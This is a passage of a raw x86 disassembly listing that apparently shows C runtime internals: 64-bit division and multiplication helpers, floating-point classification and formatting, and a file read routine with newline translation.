arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_4]
or eax, eax
jnz short loc_44E532
mov ecx, [esp+4+arg_0]
mov eax, [esp+4+arg_C]
xor edx, edx
div ecx
mov eax, [esp+4+arg_8]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_44E582
; ---------------------------------------------------------------------------
loc_44E532: ; CODE XREF: sub_44E511+7j
mov ecx, eax
mov ebx, [esp+4+arg_0]
mov edx, [esp+4+arg_C]
mov eax, [esp+4+arg_8]
loc_44E540: ; CODE XREF: sub_44E511+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_44E540
div ebx
mov ecx, eax
mul [esp+4+arg_4]
xchg eax, ecx
mul [esp+4+arg_0]
add edx, ecx
jb short loc_44E56B
cmp edx, [esp+4+arg_C]
ja short loc_44E56B
jb short loc_44E573
cmp eax, [esp+4+arg_8]
jbe short loc_44E573
loc_44E56B: ; CODE XREF: sub_44E511+4Aj
; sub_44E511+50j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
loc_44E573: ; CODE XREF: sub_44E511+52j
; sub_44E511+58j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
neg edx
neg eax
sbb edx, 0
loc_44E582: ; CODE XREF: sub_44E511+1Fj
pop ebx
retn 10h
sub_44E511 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44E591 proc near ; CODE XREF: sub_44D3E1+116p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_44E5B2
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_44E5B2: ; CODE XREF: sub_44E591+Bj
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_44E5CE
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_44E5CE: ; CODE XREF: sub_44E591+27j
or eax, eax
jnz short loc_44E5EA
mov ecx, [esp+0Ch+arg_0]
mov eax, [esp+0Ch+arg_C]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_8]
div ecx
mov edx, ebx
jmp short loc_44E62B
; ---------------------------------------------------------------------------
loc_44E5EA: ; CODE XREF: sub_44E591+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_C]
mov eax, [esp+0Ch+arg_8]
loc_44E5F8: ; CODE XREF: sub_44E591+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_44E5F8
div ecx
mov esi, eax
mul [esp+0Ch+arg_4]
mov ecx, eax
mov eax, [esp+0Ch+arg_0]
mul esi
add edx, ecx
jb short loc_44E626
cmp edx, [esp+0Ch+arg_C]
ja short loc_44E626
jb short loc_44E627
cmp eax, [esp+0Ch+arg_8]
jbe short loc_44E627
loc_44E626: ; CODE XREF: sub_44E591+85j
; sub_44E591+8Bj
dec esi
loc_44E627: ; CODE XREF: sub_44E591+8Dj
; sub_44E591+93j
xor edx, edx
mov eax, esi
loc_44E62B: ; CODE XREF: sub_44E591+57j
dec edi
jnz short loc_44E635
neg edx
neg eax
sbb edx, 0
loc_44E635: ; CODE XREF: sub_44E591+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_44E591 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44E641 proc near ; CODE XREF: sub_44D3E1+13Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov ecx, [esp+arg_4]
or ecx, eax
mov ecx, [esp+arg_0]
jnz short loc_44E65A
mov eax, [esp+arg_8]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_44E65A: ; CODE XREF: sub_44E641+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_8]
mul [esp+4+arg_4]
add ebx, eax
mov eax, [esp+4+arg_8]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_44E641 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44E681 proc near ; CODE XREF: sub_44D621+5p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
movzx eax, word ptr [ecx+6]
and eax, 7FF0h
cmp eax, 7FF0h
jnz short loc_44E6C4
test word ptr [ecx+6], 0Fh
jnz short loc_44E6B1
cmp word ptr [ecx+4], 0
jnz short loc_44E6B1
cmp word ptr [ecx+2], 0
jnz short loc_44E6B1
cmp word ptr [ecx], 0
jz short loc_44E6B8
loc_44E6B1: ; CODE XREF: sub_44E681+1Aj
; sub_44E681+21j ...
mov edx, 2
jmp short loc_44E6BD
; ---------------------------------------------------------------------------
loc_44E6B8: ; CODE XREF: sub_44E681+2Ej
mov edx, 1
loc_44E6BD: ; CODE XREF: sub_44E681+35j
mov ax, dx
movsx eax, ax
retn
; ---------------------------------------------------------------------------
loc_44E6C4: ; CODE XREF: sub_44E681+12j
movzx eax, word ptr [ecx+6]
test eax, 0FFFF7FFFh
jnz short loc_44E6E3
cmp word ptr [ecx+4], 0
jnz short loc_44E6E3
cmp word ptr [ecx+2], 0
jnz short loc_44E6E3
cmp word ptr [ecx], 0
jz short loc_44E6E7
loc_44E6E3: ; CODE XREF: sub_44E681+4Cj
; sub_44E681+53j ...
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_44E6E7: ; CODE XREF: sub_44E681+60j
xor eax, eax
retn
sub_44E681 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44E6F1 proc near ; CODE XREF: sub_44D631+5Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44F2D1
add esp, 8
movsx eax, ax
pop ebp
retn
sub_44E6F1 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44E711 proc near ; CODE XREF: sub_44D631+200p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44F371
add esp, 8
movsx eax, ax
pop ebp
retn
sub_44E711 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44E731 proc near ; CODE XREF: sub_44D631+20Bp
; sub_44D631+498p
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
sub esp, 0Ch
fstcw [esp+0Ch+var_2]
mov ax, [esp+0Ch+var_2]
or ah, 0Ch
mov [esp+0Ch+var_4], ax
fldcw [esp+0Ch+var_4]
fistp [esp+0Ch+var_C]
fldcw [esp+0Ch+var_2]
mov eax, dword ptr [esp+0Ch+var_C]
mov edx, dword ptr [esp+0Ch+var_C+4]
add esp, 0Ch
retn
sub_44E731 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44E761 proc near ; CODE XREF: sub_44D631+4D6p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, ebx
mov ecx, esi
cdq
idiv ecx
mov [ebp+var_8], eax
mov edx, esi
imul edx, eax
mov eax, ebx
sub eax, edx
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44E761 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44E791 proc near ; CODE XREF: sub_44D631+64Cp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
arg_10 = word ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
mov eax, off_4119D0
mov al, [eax]
mov [ebp+var_1], al
cmp [ebp+arg_C], 0
jg short loc_44E7B6
mov [ebp+arg_C], 1
mov [ebp+arg_8], offset dword_4101E0
loc_44E7B6: ; CODE XREF: sub_44E791+16j
mov al, [ebp+arg_4]
cmp al, 66h
jz short loc_44E7EA
cmp al, 46h
jz short loc_44E7EA
cmp al, 67h
jz short loc_44E7CD
cmp al, 47h
jnz loc_44EA34
loc_44E7CD: ; CODE XREF: sub_44E791+32j
mov ax, [ebp+arg_10]
cmp ax, 0FFFCh
jl loc_44EA34
movsx eax, ax
mov edx, [ebp+arg_0]
cmp eax, [edx+2Ch]
jge loc_44EA34
loc_44E7EA: ; CODE XREF: sub_44E791+2Aj
; sub_44E791+2Ej
add [ebp+arg_10], 1
mov al, [ebp+arg_4]
cmp al, 67h
jz short loc_44E7FA
cmp al, 47h
jnz short loc_44E835
loc_44E7FA: ; CODE XREF: sub_44E791+63j
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 8
jnz short loc_44E818
movsx edx, [ebp+arg_C]
cmp edx, [eax+2Ch]
jge short loc_44E818
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_C]
mov [edx+2Ch], eax
loc_44E818: ; CODE XREF: sub_44E791+72j
; sub_44E791+7Bj
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_10]
sub edx, ecx
mov [eax+2Ch], edx
test edx, edx
jge short loc_44E835
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 0
loc_44E835: ; CODE XREF: sub_44E791+67j
; sub_44E791+98j
cmp [ebp+arg_10], 0
jg loc_44E901
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov byte ptr [eax+edx], 30h
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_44E867
test word ptr [eax+38h], 8
jz short loc_44E87F
loc_44E867: ; CODE XREF: sub_44E791+CCj
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
loc_44E87F: ; CODE XREF: sub_44E791+D4j
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_10]
neg edx
cmp [eax+2Ch], edx
jge short loc_44E899
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
neg eax
mov [ebp+arg_10], ax
loc_44E899: ; CODE XREF: sub_44E791+FAj
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_10]
neg eax
mov [edx+20h], eax
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_10]
mov ecx, [eax+2Ch]
add edx, ecx
mov [eax+2Ch], edx
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
cmp [eax+2Ch], edx
jge short loc_44E8CA
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+arg_C], ax
loc_44E8CA: ; CODE XREF: sub_44E791+12Dj
movsx eax, [ebp+arg_C]
mov edx, [ebp+arg_0]
mov [edx+24h], eax
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_449A11
add esp, 0Ch
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_C]
sub edx, ecx
mov [eax+28h], edx
jmp loc_44EC26
; ---------------------------------------------------------------------------
loc_44E901: ; CODE XREF: sub_44E791+A9j
mov ax, [ebp+arg_10]
cmp [ebp+arg_C], ax
jge short loc_44E97B
movsx eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_449A11
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_10]
movsx ecx, [ebp+arg_C]
sub eax, ecx
mov [edx+20h], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_44E958
test word ptr [eax+38h], 8
jz short loc_44E96D
loc_44E958: ; CODE XREF: sub_44E791+1BDj
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
inc dword ptr [eax+24h]
loc_44E96D: ; CODE XREF: sub_44E791+1C5j
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
mov [eax+28h], edx
jmp loc_44EC26
; ---------------------------------------------------------------------------
loc_44E97B: ; CODE XREF: sub_44E791+178j
movsx eax, [ebp+arg_10]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_449A11
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_10]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov ax, [ebp+arg_10]
sub [ebp+arg_C], ax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_44E9C0
test word ptr [eax+38h], 8
jz short loc_44E9D8
loc_44E9C0: ; CODE XREF: sub_44E791+225j
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
loc_44E9D8: ; CODE XREF: sub_44E791+22Dj
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
cmp [eax+2Ch], edx
jge short loc_44E9EE
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+arg_C], ax
loc_44E9EE: ; CODE XREF: sub_44E791+251j
movsx eax, [ebp+arg_C]
push eax
movsx eax, [ebp+arg_10]
mov edx, [ebp+arg_8]
add eax, edx
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_449A11
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_C]
sub edx, ecx
mov [eax+20h], edx
jmp loc_44EC26
; ---------------------------------------------------------------------------
loc_44EA34: ; CODE XREF: sub_44E791+36j
; sub_44E791+44j ...
mov al, [ebp+arg_4]
cmp al, 67h
jz short loc_44EA3F
cmp al, 47h
jnz short loc_44EA8A
loc_44EA3F: ; CODE XREF: sub_44E791+2A8j
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
cmp edx, [eax+2Ch]
jge short loc_44EA5D
test word ptr [eax+38h], 8
jnz short loc_44EA5D
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_C]
mov [edx+2Ch], eax
loc_44EA5D: ; CODE XREF: sub_44E791+2B8j
; sub_44E791+2C0j
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
dec edx
mov [eax+2Ch], edx
test edx, edx
jge short loc_44EA75
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 0
loc_44EA75: ; CODE XREF: sub_44E791+2D8j
xor eax, eax
cmp [ebp+arg_4], 67h
setnz al
dec eax
and eax, 20h
add eax, 45h
mov [ebp+arg_4], al
jmp short loc_44EAA0
; ---------------------------------------------------------------------------
loc_44EA8A: ; CODE XREF: sub_44E791+2ACj
cmp [ebp+arg_4], 61h
jnz short loc_44EA96
mov [ebp+arg_4], 70h
jmp short loc_44EAA0
; ---------------------------------------------------------------------------
loc_44EA96: ; CODE XREF: sub_44E791+2FDj
cmp [ebp+arg_4], 41h
jnz short loc_44EAA0
mov [ebp+arg_4], 50h
loc_44EAA0: ; CODE XREF: sub_44E791+2F7j
; sub_44E791+303j ...
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov [ebp+arg_8], ecx
mov ecx, [ebp+arg_0]
mov ecx, [ecx+10h]
mov al, [eax]
mov [ecx+edx], al
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_44EAD1
test word ptr [eax+38h], 8
jz short loc_44EAE9
loc_44EAD1: ; CODE XREF: sub_44E791+336j
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
loc_44EAE9: ; CODE XREF: sub_44E791+33Ej
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jle short loc_44EB4C
mov ax, [ebp+arg_C]
dec ax
mov [ebp+arg_C], ax
mov edx, [ebp+arg_0]
movsx eax, ax
cmp [edx+2Ch], eax
jge short loc_44EB11
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+arg_C], ax
loc_44EB11: ; CODE XREF: sub_44E791+374j
movsx eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_449A11
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_C]
sub edx, ecx
mov [eax+20h], edx
loc_44EB4C: ; CODE XREF: sub_44E791+35Fj
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
mov [ebp+arg_8], eax
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov dl, [ebp+arg_4]
mov [eax], dl
cmp [ebp+arg_10], 0
jl short loc_44EB7A
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 2Bh
jmp short loc_44EB8A
; ---------------------------------------------------------------------------
loc_44EB7A: ; CODE XREF: sub_44E791+3D9j
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 2Dh
neg [ebp+arg_10]
loc_44EB8A: ; CODE XREF: sub_44E791+3E7j
mov [ebp+var_8], 0
jmp short loc_44EBBC
; ---------------------------------------------------------------------------
loc_44EB93: ; CODE XREF: sub_44E791+430j
push 0Ah
movsx eax, [ebp+arg_10]
push eax
call sub_44F591
add esp, 8
mov [ebp+var_1C], eax
mov [ebp+var_18], edx
mov eax, [ebp+var_8]
mov edx, [ebp+var_18]
mov [ebp+eax+var_12], dl
mov eax, [ebp+var_1C]
mov [ebp+arg_10], ax
inc [ebp+var_8]
loc_44EBBC: ; CODE XREF: sub_44E791+400j
cmp [ebp+arg_10], 0
jg short loc_44EB93
cmp [ebp+var_8], 2
jge short loc_44EBE0
mov al, [ebp+arg_4]
cmp al, 65h
jz short loc_44EBD4
cmp al, 45h
jnz short loc_44EBE0
loc_44EBD4: ; CODE XREF: sub_44E791+43Dj
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 30h
loc_44EBE0: ; CODE XREF: sub_44E791+436j
; sub_44E791+441j
cmp [ebp+var_8], 0
jnz short loc_44EC0D
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 30h
jmp short loc_44EC0D
; ---------------------------------------------------------------------------
loc_44EBF4: ; CODE XREF: sub_44E791+480j
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov edx, [ebp+var_8]
dec edx
mov [ebp+var_8], edx
mov dl, [ebp+edx+var_12]
add dl, 30h
mov [eax], dl
loc_44EC0D: ; CODE XREF: sub_44E791+453j
; sub_44E791+461j
cmp [ebp+var_8], 0
jg short loc_44EBF4
mov eax, [ebp+arg_0]
mov edx, [ebp+arg_8]
mov ecx, [eax+1Ch]
mov ebx, [eax+10h]
add ecx, ebx
sub edx, ecx
mov [eax+24h], edx
loc_44EC26: ; CODE XREF: sub_44E791+16Bj
; sub_44E791+1E5j ...
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax+38h]
and eax, 14h
cmp eax, 10h
jnz short loc_44EC69
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [eax+1Ch]
add edx, ecx
mov ecx, [eax+20h]
add edx, ecx
mov ecx, [eax+24h]
add edx, ecx
mov eax, [eax+28h]
add eax, edx
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
mov eax, [eax+34h]
cmp [ebp+var_8], eax
jge short loc_44EC69
mov eax, [ebp+arg_0]
mov edx, [eax+34h]
sub edx, [ebp+var_8]
mov [eax+18h], edx
loc_44EC69: ; CODE XREF: sub_44E791+4A2j
; sub_44E791+4CAj
pop ebx
mov esp, ebp
pop ebp
retn
sub_44E791 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44EC71 proc near ; CODE XREF: sub_44DCC1+348p
; DMN1:0044EFECp
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
xor edi, edi
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
cmp [ebp+arg_8], 0
jz short loc_44ECA6
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 2
jz short loc_44ECAD
loc_44ECA6: ; CODE XREF: sub_44EC71+18j
xor eax, eax
jmp loc_44EF96
; ---------------------------------------------------------------------------
loc_44ECAD: ; CODE XREF: sub_44EC71+33j
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
add eax, edx
test byte ptr [eax+4], 48h
jz short loc_44ED0F
cmp byte ptr [eax+5], 0Ah
jz short loc_44ED0F
mov eax, [ebp+var_C]
lea edx, [eax+1]
mov [ebp+var_C], edx
mov edx, ebx
and edx, 1Fh
imul edx, 24h
mov ecx, ebx
sar ecx, 5
mov ecx, dword_413988[ecx*4]
mov dl, [ecx+edx+5]
mov [eax], dl
inc edi
dec [ebp+arg_8]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov byte ptr [edx+eax+5], 0Ah
loc_44ED0F: ; CODE XREF: sub_44EC71+56j
; sub_44EC71+5Cj
push 0
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+var_C]
push eax
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov eax, [edx+eax]
push eax
call dword_411E18
test eax, eax
jnz short loc_44ED7F
call dword_411CE8
mov [ebp+var_10], eax
cmp eax, 5
jnz short loc_44ED60
call sub_44A781
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_44EF96
; ---------------------------------------------------------------------------
loc_44ED60: ; CODE XREF: sub_44EC71+DAj
cmp [ebp+var_10], 6Dh
jnz short loc_44ED6D
xor eax, eax
jmp loc_44EF96
; ---------------------------------------------------------------------------
loc_44ED6D: ; CODE XREF: sub_44EC71+F3j
mov eax, [ebp+var_10]
push eax
call sub_44A621
pop ecx
or eax, 0FFFFFFFFh
jmp loc_44EF96
; ---------------------------------------------------------------------------
loc_44ED7F: ; CODE XREF: sub_44EC71+CCj
mov eax, [ebp+var_4]
add edi, eax
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 80h
jz loc_44EF94
cmp [ebp+var_4], 0
jz short loc_44EDCE
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0Ah
jnz short loc_44EDCE
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 4
jmp short loc_44EDE9
; ---------------------------------------------------------------------------
loc_44EDCE: ; CODE XREF: sub_44EC71+136j
; sub_44EC71+13Ej
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
and byte ptr [eax], 0FBh
loc_44EDE9: ; CODE XREF: sub_44EC71+15Bj
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov esi, eax
jmp loc_44EF7D
; ---------------------------------------------------------------------------
loc_44EDF6: ; CODE XREF: sub_44EC71+313j
cmp byte ptr [esi], 1Ah
jnz short loc_44EE3A
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 40h
jnz loc_44EF8A
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 2
jmp loc_44EF8A
; ---------------------------------------------------------------------------
loc_44EE3A: ; CODE XREF: sub_44EC71+188j
cmp byte ptr [esi], 0Dh
jz short loc_44EE54
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov edx, esi
inc esi
mov dl, [edx]
mov [eax], dl
jmp loc_44EF7D
; ---------------------------------------------------------------------------
loc_44EE54: ; CODE XREF: sub_44EC71+1CCj
mov eax, [ebp+arg_4]
lea eax, [eax+edi-1]
cmp esi, eax
jnb short loc_44EE8E
cmp byte ptr [esi+1], 0Ah
jnz short loc_44EE79
add esi, 2
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Ah
jmp loc_44EF7D
; ---------------------------------------------------------------------------
loc_44EE79: ; CODE XREF: sub_44EC71+1F2j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov edx, esi
inc esi
mov dl, [edx]
mov [eax], dl
jmp loc_44EF7D
; ---------------------------------------------------------------------------
loc_44EE8E: ; CODE XREF: sub_44EC71+1ECj
inc esi
mov [ebp+var_10], 0
push 0
lea eax, [ebp+var_4]
push eax
push 1
lea eax, [ebp+var_11]
push eax
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov eax, [edx+eax]
push eax
call dword_411E18
test eax, eax
jnz short loc_44EECD
call dword_411CE8
mov [ebp+var_10], eax
loc_44EECD: ; CODE XREF: sub_44EC71+251j
cmp [ebp+var_10], 0
jnz short loc_44EED9
cmp [ebp+var_4], 0
jnz short loc_44EEEA
loc_44EED9: ; CODE XREF: sub_44EC71+260j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Dh
jmp loc_44EF7D
; ---------------------------------------------------------------------------
loc_44EEEA: ; CODE XREF: sub_44EC71+266j
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 48h
jz short loc_44EF42
cmp [ebp+var_11], 0Ah
jnz short loc_44EF19
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Ah
jmp short loc_44EF7D
; ---------------------------------------------------------------------------
loc_44EF19: ; CODE XREF: sub_44EC71+298j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Dh
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov cl, [ebp+var_11]
mov [edx+eax+5], cl
jmp short loc_44EF7D
; ---------------------------------------------------------------------------
loc_44EF42: ; CODE XREF: sub_44EC71+292j
mov eax, [ebp+arg_4]
cmp eax, [ebp+var_8]
jnz short loc_44EF5E
cmp [ebp+var_11], 0Ah
jnz short loc_44EF5E
